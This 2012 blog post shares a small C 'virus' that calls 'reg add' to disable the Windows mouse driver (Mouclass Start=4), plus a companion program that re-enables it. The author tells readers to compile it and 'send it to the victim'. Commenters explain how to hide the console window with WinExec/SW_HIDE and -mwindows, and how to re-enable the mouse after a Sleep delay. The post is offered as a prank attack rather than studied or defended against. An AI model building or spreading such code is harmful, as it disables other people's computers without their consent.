4 Sep 2012

C Program to disable\ Enable Mouse - a simple homemade Virus


Hi folks. Here I come up with another cool code. One my friend asked me to write a virus for him to disable keyboard, mouse and play some funny video for a specific interval of time. It was fun writing that code, I just thought to share a part of it over here.
Obviously I'm not gonna share whole code here or who knows may be I do someday but NO as of now.
Anyways here I'm sharing just a part for noobs and a hint for the coders to get start.
Warning: Use this code at your own risk, I'm not responsible for any damage done to anyone.

Well warning was required because I was affected by it while writing. :P

Lets code it..

Code to Disable the Mouse:
Open notepad and copy the below code

#include<stdio.h>
int main()
{
 system("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 4 \/f");
 return 0;
}



Save the file as block.c.
Compile this code and your virus to disable the mouse is ready. Send it to the victim and it'll get the job done.
Handle it carefully

Code to Enable the Mouse:
Open notepad and copy the below code

#include<stdio.h>
int main()
{
 system("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 3 \/f");
 return 0;
}



Save the file as unblock.c.
Compile this code and executable will enable the mouse again.

Again, I'm suggesting that whether you're using it to harm someone or just for testing just handle it carefully.

If you are having troubles in compiling the code then take a look at How to Compile a C Program

Keep Coding. Keep Rocking :P

3 comments:

Anonymous said...

If you want to make it run without showing a window, you can replace the system function with this:

WinExec("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 4 \/f", SW_HIDE);

You also have to include the file windows.h

Anonymous said...

^ forgot to mention that youll also have to compile it with -mwindows in gcc

Weston Shakespear said...

If you save it as a c++ code and add windows.h you can disable then use the command Sleep(50000); then you can enable. That will disable the mouse for 59 seconds.

Post a Comment

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Online Project management